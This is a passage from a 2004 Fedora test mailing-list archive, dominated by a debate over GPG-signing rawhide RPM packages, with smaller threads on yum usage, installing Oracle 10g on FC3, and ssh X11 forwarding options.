-0600 (CST) Subject: yum errors on unsigned package and on --exclude In-Reply-To: <1099334169.5665.8.camel@localhost.localdomain> References: <1099334169.5665.8.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Kim Lux wrote: > Could not find update match for --exclude=gthumb-2.4.2-2 > No Packages marked for Update/Obsoletion You mist have done: yum update --exclude=gthumb-2.4.2-2 Try: yum --exclude=gthumb-2.4.2-2 update Satish From lux at diesel-research.com Mon Nov 1 18:42:07 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 11:42:07 -0700 Subject: yum errors on unsigned package and on --exclude In-Reply-To: References: <1099334169.5665.8.camel@localhost.localdomain> Message-ID: <1099334527.5665.12.camel@localhost.localdomain> THANKS On Mon, 2004-11-01 at 12:40 -0600, Satish Balay wrote: > > On Mon, 1 Nov 2004, Kim Lux wrote: > > > Could not find update match for --exclude=gthumb-2.4.2-2 > > No Packages marked for Update/Obsoletion > > You mist have done: > yum update --exclude=gthumb-2.4.2-2 > > Try: > > yum --exclude=gthumb-2.4.2-2 update > > Satish > From bednar007 at gmail.com Mon Nov 1 18:43:49 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 19:43:49 +0100 Subject: Gnome can not start In-Reply-To: <20041101182431.8BA5A7377A@hormel.redhat.com> References: <20041101182431.8BA5A7377A@hormel.redhat.com> Message-ID: <38f00b2a04110110433bc346c3@mail.gmail.com> > Message: 3 > Date: Mon, 01 Nov 2004 17:26:21 +0000 > From: "Michael A. Peters" > Subject: Re: Gnome can not start > To: fedora-test-list at redhat.com > Message-ID: <1099329981l.3989l.0l at devel.mpeters.us> > Content-Type: text/plain; charset=ISO-8859-1; DelSp=Yes; Format=Flowed > > On 11/01/2004 06:09:25 AM, Darek Borkowski wrote: > > I forgot to add some info: > > gnome-session-2.6.0-4, > > FC2 was not clean install but upgrade form FC1, where I had same > > problem. > > FC1 was clean install. > > > > Darek Borskowski > > > > > > I'm just curious - I don't have this problem, my /home has been from > RH8 to LFS to FC2 to FC1 to FC2 to FC3Test. Yuo are lucky guy. > I wonder if the problem is a specific application doing something it > shouldn't do. Maybe, bu I have no idea what is would be. > Note that I always do a clean install of the OS, but I keep the same > home directory and thus all of the same settings. Two times I did upgrade. 2 times clean install. > Are you running any third party updates to fedora provided software? Of course, I have few repositories configured in apt-get/synaptic (dries, ATrpms, freshrpms, DAG, livna, macromedia, gnugadu) and use it extensively From thomasz at hostmaster.org Mon Nov 1 18:56:17 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Mon, 01 Nov 2004 19:56:17 +0100 Subject: IPv6 tunneling broken in latest rawhide? Message-ID: <1099335377.3833.0.camel@hostmaster.org> Hi, it seems that one of the recent rawhide upgrades broke my IPv6 6in4 tunneling setup. Although the system says that it brought up the sit1 device on boot it does not appear in ifconfig and even ifup sit1 does not help. Anyone else seeing this? Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Sacrilegia minuta puniuntur, magna in triumphis feruntur - Seneca -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: From balay at fastmail.fm Mon Nov 1 18:58:22 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 12:58:22 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099330047.25045.73.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Peter Jones wrote: > It says that we intended to release it in a form that is fit to be used. I don't see any problem with this reasoning for rawhide. 'form that is fit to be used' here would imply 'testing'. > (Although clearly it does not imply any warranty, including the implied > warranties of merchantability and fitness for a particular purpose ;) > > It says we believe that the actual data in the package headers -- the > scriptlets, the triggers, the conflicts, the provides, etc. -- are of a > quality that Fedora believes is sufficient for release. rawhide is not a release - so no one will confuse signed packages in rawhide as 'release quality' - and won't eat 'data'. - so no conflict here. > These things are Red Hat's and Fedora's value add, and a signature > says that we believe we've actually added value. Yes - no conflict here. (there is value added in rawhide) > It also conveys that some packager whom we trust has looked over the > payload and does not consider its contents to be *hostile* to our users. This is the primary point of difference. Personally - I'd like to know EXACTLY whats done by the package signer to gaurentee 'no' tampering 'anywhere'. (source/binary/process). My contention is - not much difference other than a 'cursory' check. > Consider RHEL errata. When RH releases an erratum, the signature > doesn't just say "this is some package from Red Hat". It says that > you can use the signature, combined with the checksums and the data > in the erratum. For what can they be used? No one confuses RHEL errata with Fedora errata - or with rawhide. (none of them are interchangable). So there is no conflict of concepts on signing on this pont (wrt rawhide). > You should already know the answer here. What the signature > provides is a way to verify Red Hat's intent and belief that the > package in the user's hands does actually fix the problems described > in the erratum, and to some (lesser) extent that it does not > introduce more problems No confusion here either - as rawhide packages are never mistaken for erratum packages. And each branch (RHEL/fedora/rawhide) should have its own differnet gpg-keys anyway. Satish From feliciano.matias at free.fr Mon Nov 1 19:09:16 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Mon, 01 Nov 2004 20:09:16 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099330047.25045.73.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> Message-ID: <1099336156.3324.64.camel@localhost.localdomain> Le lundi 01 novembre 2004 ? 12:27 -0500, Peter Jones a ?crit : > On Fri, 2004-10-29 at 12:57 +0200, Nils Philippsen wrote: > > > > The question is still one of gains versus losses. I personally think we > > > gain more by _not_ signing them. If we automatically sign them, we make > > > it more convenient for people who don't want to use --nosig or whatnot > > > on rawhide packages. > > > > If we don't sign packages we make it basically impossible for people to > > check where a specific package comes from. > > Yes, but the current signing method does not do _precisely_ that. It > does many things, and that is one affect. > > > There is nothing else that a signature on a package says. > > That's simply not true. > > It says that we intended to release it in a form that is fit to be used. > (Although clearly it does not imply any warranty, including the implied > warranties of merchantability and fitness for a particular purpose ;) > > It says we believe that the actual data in the package headers -- the > scriptlets, the triggers, the conflicts, the provides, etc. -- are of a > quality that Fedora believes is sufficient for release. An announcement (or linux/core/3 in download.fedora.redhat.com ...) tell me that there is a new release which is quality approved by the Fedora team. Not the signature of the package. A signature only say me where the package come from. > These things > are Red Hat's and Fedora's value add, and a signature says that we > believe we've actually added value. Where have you read this ? Do you have any URL ? If I remember correctly, FC2 (with all packages signed) "burn" some mbr. What is the meaning of signed package in this case ? A signature, which can be part of a quality process, ensure where the information/data/package come from. A signature is not a certificate of quality _without_ a quality process. > It also conveys that some packager whom we trust has looked over the > payload and does not consider its contents to be *hostile* to our users. > > Consider RHEL errata. When RH releases an erratum, the signature > doesn't just say "this is some package from Red Hat". The signature only say that. > It says that you > can use the signature, combined with the checksums and the data in the > erratum. For what can they be used? You should already know the answer > here. What the signature provides is a way to verify Red Hat's intent > and belief that the package in the user's hands does actually fix the > problems described in the erratum, and to some (lesser) extent that it > does not introduce more problems You are mixing quality process and signing. sure, a signature can be tighten to a quality process. But a signature "alone" is not a certificate of quality. If Red Hat sign rawhide package with a key that is not tighten to a quality process, the signature only tell where the package come from. > So, no, it's not just that it comes from Red Hat. That's really a more > minor point of what it's for. > > > > That's not a win. In fact, it's a big loss. If the packages are > > > automatically signed during the build process, the only thing the > > > signature means is "it showed up in the queue of things to be signed". > > > But if you see a signed package, the impression you get is that it is in > > > some way "trusted". Of course, it isn't trusted. It's just got a > > > signature that says "don't make the user type --nosig". > > > > That's a misinterpretation of the signature on the package. We shouldn't > > sign or not sign packages based on how people could misconceive what > > such a signature means. We should sign packages so people can verify > > that these packages are actually from us and haven't been tampered with > > in the meantime. > > We always have used signing to mean more than just this, That's almost right. This does not imply that all signature have the same meaning of the key "". > and the other > things are equally important, if not more so, to us. We can't mean just > that the transport is ok without giving the rest up. We cannot have it > mean one thing sometimes, and more things some other times, Why not ? Here the mean of the rawhide key : https://www.redhat.com/security/team/key/ Rawhide Package Signing From time to time Red Hat make development software available, usually as part of Rawhide. These packages may be signed by an automated build signing key. Because this key is used automatically we expect to change the key we sign with from time to time. There is not any guaranty. > unless the > signatures have actual data about what they represent *built in*. Who > is signing it is not enough, and that's currently all we have. If the > only way to tell the difference in what the signatures mean is the key > of the signer, then most people who *do* care will never know what any > signature means. > > So yes, we both agree that we "should sign packages" (or some data that > can be securely matched with it, like the metadata) "so people can > verify that these packages are actually from us and haven't been > tampered with in the meantime." What we don't agree on is the fact that > this is very much NOT what we currently do with signatures. > I remember that all package in rawhide are signed during RH8.0 and RH9 beta. Does it cause any damage to Red Hat or to the meaning of "" ? No. As long that where is no page that state why/when a key is used, we can give any meaning to a key. -------------- next part -------------- A non-text attachment was scrubbed... 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Some of those repositories will replace packages installed by Fedora, and that's when your liklihood of getting problems increases. fedora and livna repositories do not replace fedora core packages, but some of those others will (I believe freshrpms does for example). I generally recommend against adding repositories that replace packages installed by the OS. In fact - I wish rpm checked the vendor string and required a force to upgrade a OS vendor package with a non OS vendor package. From alor at taipang.com Mon Nov 1 18:35:33 2004 From: alor at taipang.com (Alor) Date: Mon, 01 Nov 2004 23:35:33 +0500 Subject: Installing Oracle 10.1.0.3 on FC3 In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> Message-ID: <1099334134.9020.2.camel@logi.taipang.com> For installing Oracle 10.1.0.3 on FC3: 1. Setup kernel parameters: insert in file /etc/sysctl.conf kernel.shmmax = kernel.sem = 250 32000 100 128 fs.file-max = 65536 net.ipv4.ip_local_port_range = 1024 65000 Execute: /sbin/sysctl -p insert in file /etc/security/limits.conf * soft nproc 2047 * hard nproc 16384 * soft nofile 1024 * hard nofile 65536 insert in file /etc/pam.d/login before line session required pam_selinux.so multiple open session required pam_limits.so 2. Create the new groups and users: groupadd oinstall groupadd dba useradd -g oinstall -G dba oracle passwd oracle 3. Create the directories in which the Oracle software will be installed: mkdir -p /u01/app/oracle/product/10.1.0 chown -R oracle.oinstall /u01 4. Edit the /etc/redhat-release file replacing the current release information with the following: redhat-3 5. Login as the oracle user and add the following lines at the end of the .bash_profile file: # Oracle Settings export TMP=/tmp export TMPDIR=$TMP export ORACLE_BASE=/u01/app/oracle export ORACLE_HOME=$ORACLE_BASE/product/10.1.0 export ORACLE_SID=sid1 export ORACLE_TERM=xterm export PATH=$ORACLE_HOME/bin:/usr/sbin:$PATH export LD_LIBRARY_PATH=$ORACLE_HOME/lib:$LD_LIBRARY_PATH export CLASSPATH=$ORACLE_HOME/jdbc/lib/ojdbc14.jar: $ORACLE_HOME/jdbc/lib/orai18n.jar 6. Installation Log into the oracle user. Start the Oracle Universal Installer (OUI) by issuing the following command in the Disk1 directory: ./runInstaller All sould work. From jspaleta at gmail.com Mon Nov 1 19:33:30 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 1 Nov 2004 14:33:30 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> Message-ID: <604aa7910411011133401853@mail.gmail.com> On Mon, 1 Nov 2004 12:58:22 -0600 (CST), Satish Balay wrote: > No confusion here either - as rawhide packages are never mistaken for > erratum packages. really? noone ever mistakes a package from rawhide as a consumable package? really? no one ever does a random search for a package from an online rpm warehouse and finds a package meant as a piece of rawhide and not as a consumable update? really? no one ever takes packages from the rawhide tree and mixes them with updates and creates a homebrew repository that other users will be using? i think you need to spend more time in general purpose community forums and watch how often the less informed are confused about what rawhide/development packages are meant for. Everyone in this conversation is in the 1% tail of the distribution of clue in the userbase. Arguing that you are not confused is sort of pointless. I see people confused by what rawhide is, every single day. -jef From balay at fastmail.fm Mon Nov 1 19:34:24 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 13:34:24 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099336156.3324.64.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099336156.3324.64.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Matias F?liciano wrote: > A signature, which can be part of a quality process, ensure where the > information/data/package come from. A signature is not a certificate of > quality _without_ a quality process. Totally agree. All the points raised so far were mostly releated to QA for RHEL. One can argue that even rawhide has a QA - and the gpg-sign is part of the QA proces - However the QA for RHEL is totally different from QA for Fedora (release) - which is different from QA for rawhide. So there is no conflict in the model - and no good reason yet for not gpg-signing. Any argument which says 'users will confuse gpg-signed rawhide packages as RHEL QA'ed packages' is bogus. (Any user infering this from the gpg-signautre - and thinks its safe to use rawhide instead of fedra-core-release/RHEL is nuts) Satish From pjones at redhat.com Mon Nov 1 19:46:46 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 14:46:46 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> Message-ID: <1099338407.25045.116.camel@localhost.localdomain> On Mon, 2004-11-01 at 12:24 -0600, Satish Balay wrote: > > Are you saying - currently when a package is gpg-signed by a person - > he/she actually goes through a manual process of verifying the > following? > > - source is not tampered (including the intial .tar.gz, patches, .spec files) > - binary is not tampered > - source -> binary process didn't introduce 'ANY' tampering? I'm saying that when we release signed packages as Fedora or as Red Hat, we are acknowledging that we intend for all of these to be the case, and that we believe they are. That is to say that when we distribute a signed package it generally holds true, and is assumed to be true, that: - we've not included malicious code from the upstream - we don't think there are negative legal ramifications of us distributing that package in the distro - the source has not been maliciously tampered while retrieving it from the upstream source - the packaging itself is reasonable and will not harm your system when used appropriately - the process of compiling it did not introduce harmful changes which should have or could have been known ahead of time (that is, that the build environment can be trusted not to introduce problems) - for Fedora Core packages, the packages are free software - the packages are really from us (the signer) This is at least the case when we release a distro, a release candidate, or a test release in which the packages are signed. And in the very minor variations where one of these points isn't the case, the perception is still that they all are. That's what's important here, not the intent. If the intent isn't perfectly clear when looking at the data and the tools, then it doesn't make any difference to our users. I further stipulate that unless there is actually some observable, immutable data to signify that a signature means only that the source has been verified, many users will assume that any signature represents _all_ of these things, and they are justified in this assumption. The problem that people are hoping to address is inconvenience of testing rawhide packages because they are not signed. Right now, package update tools have no option but to check both if the package data is correct and if the package is the one intended to be in the repo. Update tool authors resist making signature checking configurable on a per-repo basis, which would alleviate the strain but reduce the overall utility of the tools. At the same time, users of rawhide and update tools really only care that the package is from the repo, not anything else. So the best answer, IMO, is to make it so that you can say "this is the right package" without all of the other implications, and then to change the update tools so that you *can* say "for this repo, I only care that the package is really from the repo". We don't need to check our traditional "package signature" per se; we need to check only that the package is the intended one. > If not - I don't see any big change - as far as user perception goes > on gpg-sigining on build system. > > For us users there is no confusion: > - 'rawhide-key' is different from 'redhat-key' - so there is no confusion here. Make this work in a world where users draw from multiple, unrelated repositories. Some people (not very many) know that rawhide-key means it isn't for a production release. But Joe Foo's repositories have packages signed with joefookey1 and joefookey2. Which is which? This is not viable. > - 'gpg' singed packages doesn't => stability (aka rawhide can always > eat data) - so no confusion here.. The signature *sometimes* does imply that. If the only difference is the key, then there's really not any way to tell when. -- Peter "Obviously, a major malfunction has occurred." -- Steve Nesbitt, voice of Mission Control, January 28, 1986, as the shuttle Challenger exploded within view of the grandstands. From balay at fastmail.fm Mon Nov 1 19:47:32 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 13:47:32 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <604aa7910411011133401853@mail.gmail.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> Message-ID: On Mon, 1 Nov 2004, Jeff Spaleta wrote: > On Mon, 1 Nov 2004 12:58:22 -0600 (CST), Satish Balay wrote: > > No confusion here either - as rawhide packages are never mistaken for > > erratum packages. > > really? noone ever mistakes a package from rawhide as a consumable package? > really? no one ever does a random search for a package from an online > rpm warehouse and finds a package meant as a piece of rawhide and not > as a consumable update? > really? no one ever takes packages from the rawhide tree and mixes > them with updates and creates a homebrew repository that other users > will be using? > > i think you need to spend more time in general purpose community > forums and watch how often the less informed are confused about what > rawhide/development packages are meant for. Everyone in this > conversation is in the 1% tail of the distribution of clue in the > userbase. Arguing that you are not confused is sort of pointless. I > see people confused by what rawhide is, every single day. Ok the wording of my statement is wrong. (given any tool you'll find somenoe who'll use it incorrectly - and break it (or break something else) But unless you are saing: somehow the current non-gpg-signed packages are preventing such folks from doing the wrong things (listed above) - and 'gpg-singing' encourages them to do them - your text adds no substance to the discussion. Satish From fiveacres at stardel.com Mon Nov 1 19:48:18 2004 From: fiveacres at stardel.com (Elaine Normandy) Date: Mon, 01 Nov 2004 12:48:18 -0700 Subject: Yum update error message Message-ID: <41869302.5010505@stardel.com> I am running a clean install of Fedora Core 3 RC5, and would like assistance on getting yum update to work. My current error message is Setting up Update Process Setting up Repo: base Cannot find a valid baseurl for repo: base (FC3RC5 is very slick, by the way. I am impressed.) -- Elaine Normandy Weblog: http://www.stardel.com/fiveacres/ From nalin at redhat.com Mon Nov 1 19:50:59 2004 From: nalin at redhat.com (Nalin Dahyabhai) Date: Mon, 1 Nov 2004 14:50:59 -0500 Subject: Urgent - Potential security hole. In-Reply-To: <20041030110613.A16072@mail.harddata.com> References: <1099142364.18887.6.camel@localhost.localdomain> <20041030110613.A16072@mail.harddata.com> Message-ID: <20041101195059.GA16224@redhat.com> On Sat, Oct 30, 2004 at 11:06:13AM -0600, Michal Jaegermann wrote: > On Sat, Oct 30, 2004 at 10:54:35AM -0500, Satish Balay wrote: > > > > If you ssh into FC3 (from a different machine with older ssh) - you > > can run firefox. If you ssh from FC3 into any other machine - you > > need 'ssh -y' for it to work. > > Actually this is '-Y' and not '-y' and this makes a difference. :-) > > There is another problem, though. 'man ssh' says: > > X11 and TCP forwarding > If the ForwardX11 variable is set to "yes" (or see the description of the > -X and -x options described later) and the user is using X11 (the DISPLAY > environment variable is set), the connection to the X11 display is auto- > matically forwarded to the remote side in such a way that any X11 pro- > grams started from the shell (or command) will go through the encrypted > channel, and the connection to the real X server will be made from the > local machine. > > and not a peep about some '-Y'. It is true that some other places > you can find some mentions about "trusted" but what "trusted" may > be is never really explained. The short-and-probably-inadequate explanation is that untrusted clients can only interact/mess with other untrusted clients, the idea being that you have clients which might misbehave, and those that you trust to not. There's a bit more on the specifics of the -X/ForwardX11 and -Y/ForwardX11Trusted options in the ssh_config(5) man page, and a bit more in xauth(1)'s documentation of the "generate" command. There's also the security extension spec itself [1]. HTH, Nalin [1] http://www.xfree86.org/snapshot/security.pdf From skvidal at phy.duke.edu Mon Nov 1 19:51:03 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 01 Nov 2004 14:51:03 -0500 Subject: Yum update error message In-Reply-To: <41869302.5010505@stardel.com> References: <41869302.5010505@stardel.com> Message-ID: <1099338663.28428.3.camel@opus.phy.duke.edu> On Mon, 2004-11-01 at 14:48, Elaine Normandy wrote: > I am running a clean install of Fedora Core 3 RC5, and would like > assistance on getting yum update to work. My current error message is > > Setting up Update Process > Setting up Repo: base > Cannot find a valid baseurl for repo: base > look in /etc/yum.repos.d/*.repo and/or /etc/yum.conf for a [base] repo see if there is no baseurl or no mirrorlist option under [base] if not, put one, if there is one, see what it is resolving to. yum -d 4 [command] will often help to know more about the problem. -sv From balay at fastmail.fm Mon Nov 1 20:03:02 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 14:03:02 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099338407.25045.116.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Peter Jones wrote: > > For us users there is no confusion: > > - 'rawhide-key' is different from 'redhat-key' - so there is no confusion here. > > Make this work in a world where users draw from multiple, unrelated > repositories. Some people (not very many) know that rawhide-key means > it isn't for a production release. But Joe Foo's repositories have > packages signed with joefookey1 and joefookey2. Which is which? > > This is not viable. This is not the problem under discussion. 'Current' rawhide' doesn't fix it. gpg-signed rawhide won't fix it. > > > - 'gpg' singed packages doesn't => stability (aka rawhide can always > > eat data) - so no confusion here.. > > The signature *sometimes* does imply that. If the only difference is > the key, then there's really not any way to tell when. If you think 'gpg-signing' rawhide packages changes the meaning of 'rawhide' - and adds in stability 'conotation' - I don't know what to say. I've reached the end of my logical reasoning. Will stop now. Satish From jspaleta at gmail.com Mon Nov 1 20:14:02 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 1 Nov 2004 15:14:02 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <604aa791041101121243b13196@mail.gmail.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> Message-ID: <604aa7910411011214741c9c3d@mail.gmail.com> On Mon, 1 Nov 2004 13:47:32 -0600 (CST), Satish Balay wrote: > But unless you are saing: somehow the current non-gpg-signed packages > are preventing such folks from doing the wrong things (listed above) - > and 'gpg-singing' encourages them to do them - your text adds no > substance to the discussion. Fine ill repeat myself...again. Yes... i firmly believe...that long term... as tools become more signature aware and tools become more demanding that signatures be present on consumable rpms, that signing throw away packages like rawhide packages encourages people to use those packages out of context, and encourages people to store individual rawhide packages for later use on other systems, instead of encouraging people to using a full rawhide collection. We can argue about the techical definition of what gpg-signing means...as originally conceived in the pgp/gpg methodogy, but is a pointless thing to discuss... in the context of rpm package signing. rpm package signing is NOT a full implementation of a gpg/pgp signing system. rpm's lack of understanding of what a signed key is, greatly impacts "trust" as a quantifiable concept..and automatically elevates all signd packages to the same "trust" status. Whereas mature general use gpg/pgp implementations know what a sign signature means, and how to calculate "trust" from signatures on keys. If you trust me, and i sign someone elses key, that key earns a measure of trust from my signature. gnupg understands this concept of the web of trust.. rpm does not...that is significant in the context of how rpm package sining has been used so far. Because there is a lack of trust metric in rpm's implementation, packaging signing..by vendors..has historically meant more than prescribed by a general gpg methodology definition of signing. This isn't a matter of one or two really really stupid users doing something really really stupid. This is a matter of common peception as to what signing a package means, and what vendors has historically wanted people to think signing a package means... in the context of rpm's implementation of signing and not in the context of gnupg's or pgp's general purpose implementation. And I argue that historically... rpm package signing has meant more than "built on this host" and that many vendors including Red Hat have meant it to mean more than "built on this host." And i will argue that until rpm get support for the trust metric concept using signed keys, signing rawhide packages encourages people to "trust" rawhide packages. Where "trust" is a quantifiable measurement based on key signatures. -jef From lux at diesel-research.com Mon Nov 1 20:42:54 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 13:42:54 -0700 Subject: qt headers missing in FC3rc3+ ? Message-ID: <1099341774.4454.5.camel@localhost.localdomain> I'm trying to build a package with the process that worked fine in fc2 and fc3t3. It doesn't work properly in fc3rc3+ (or whatever "they" call what I am running these days...) When I run ./configure I get: checking for libjpeg6b... no checking for libjpeg... -ljpeg checking for perl... /usr/bin/perl checking for Qt... configure: error: Qt (>= Qt 3.2) (headers and libraries) notfound. Please check your installation! For more details about this problem, look at the end of config.log. $ echo $QTDIR /usr/lib/qt-3.3 $ echo $KDELIB /usr/lib/kde3 $ ls $QTDIR bin etc lib plugins Any ideas ? From fiveacres at stardel.com Mon Nov 1 20:43:59 2004 From: fiveacres at stardel.com (Elaine Normandy) Date: Mon, 01 Nov 2004 13:43:59 -0700 Subject: Yum update error message In-Reply-To: <1099338663.28428.3.camel@opus.phy.duke.edu> References: <41869302.5010505@stardel.com> <1099338663.28428.3.camel@opus.phy.duke.edu> Message-ID: <4186A00F.1060001@stardel.com> seth vidal wrote: >On Mon, 2004-11-01 at 14:48, Elaine Normandy wrote: > > >>I am running a clean install of Fedora Core 3 RC5, and would like >>assistance on getting yum update to work. My current error message is >> >>Setting up Update Process >>Setting up Repo: base >>Cannot find a valid baseurl for repo: base >> >> >> > >look in /etc/yum.repos.d/*.repo and/or /etc/yum.conf for a [base] repo > >see if there is no baseurl or no mirrorlist option under [base] > >if not, put one, if there is one, see what it is resolving to. > >yum -d 4 [command] >will often help to know more about the problem. >-sv > > > > I am afraid I don't understand what is meant by [base]. I have four files in yum -rw-r--r-- 1 root root 233 Oct 28 10:34 fedora-devel.repo -rw-r--r-- 1 root root 244 Oct 28 10:34 fedora.repo -rw-r--r-- 1 root root 279 Nov 1 12:43 fedora-updates.repo -rw-r--r-- 1 root root 282 Oct 28 10:34 fedora-updates-testing.repo my yum.conf looks like [main] cachedir=/var/cache/yum debuglevel=2 logfile=/var/log/yum.log pkgpolicy=newest distroverpkg=redhat-release tolerant=1 exactarch=1 retries=20 obsoletes=1 gpgcheck=0 # PUT YOUR REPOS HERE OR IN separate files named file.repo # in /etc/yum.repos.d -- Elaine Normandy Weblog: http://www.stardel.com/fiveacres/ From balay at fastmail.fm Mon Nov 1 20:51:34 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 14:51:34 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <604aa7910411011214741c9c3d@mail.gmail.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> Message-ID: On Mon, 1 Nov 2004, Jeff Spaleta wrote: > On Mon, 1 Nov 2004 13:47:32 -0600 (CST), Satish Balay wrote: > > But unless you are saing: somehow the current non-gpg-signed packages > > are preventing such folks from doing the wrong things (listed above) - > > and 'gpg-singing' encourages them to do them - your text adds no > > substance to the discussion. > > Fine ill repeat myself...again. > > Yes... i firmly believe...that long term... as tools 